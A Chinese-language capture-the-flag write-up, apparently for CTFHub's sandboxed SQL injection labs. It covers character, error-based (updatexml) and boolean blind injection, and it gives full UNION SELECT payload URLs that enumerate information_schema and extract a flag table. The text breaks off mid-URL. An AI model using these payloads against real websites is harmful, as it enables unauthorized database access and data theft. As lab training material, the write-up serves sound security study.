整数型注入
字符型注入
得到数据库名 sqli
http://challenge-f7a63a00793e62c6.sandbox.ctfhub.com:10800/?id=-1' union select 1,database() '
爆sqli数据库的数据表
爆flag表的所有列:
http://challenge-f7a63a00793e62c6.sandbox.ctfhub.com:10800/?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' '
爆flag表的数据
http://challenge-f7a63a00793e62c6.sandbox.ctfhub.com:10800/?id=-1' union select 1,flag from sqli.flag -- '
报错型注入
可以参考这个:sql报错注入详细讲解 ,报错注入函数,十种mysql报错注入
发现只要输入了id就会返回成功,不输入直接查询就会报错
查询数据库名
和之前一样查询数据库的数据表
http://challenge-c46bea8ea0478f4a.sandbox.ctfhub.com:10800/?id=-1 union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e),1)
和前面一样爆出flag表的列
http://challenge-c46bea8ea0478f4a.sandbox.ctfhub.com:10800/?id=-1 union select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1)
查询flag表的数据,这里查询到的flag不全,可以用right函数来显示后半部分
http://challenge-c46bea8ea0478f4a.sandbox.ctfhub.com:10800/?id=-1 union select updatexml(1,concat(0x7e,(select flag from sqli.flag),0x7e),1)
http://challenge-c46bea8ea0478f4a.sandbox.ctfhub.com:10800/?id=-1 union select updatexml(1,concat(0x7e,right((select flag from sqli.flag),30),0x7e),1)
布尔盲注
输入3报错,看来最多是2
返回成功,看来是数字型注入
数据库长度为4
判断数据库的第一个字符是不是s
第二个字符为 q
第三个字符为l
第四个字符为i ,数据库名字为sqli
判断数据库表的数量,这里返回成功,说明表的数量有两个
http://challenge-7fe9156246d19ffb.sandbox.ctfhub.com:10800/?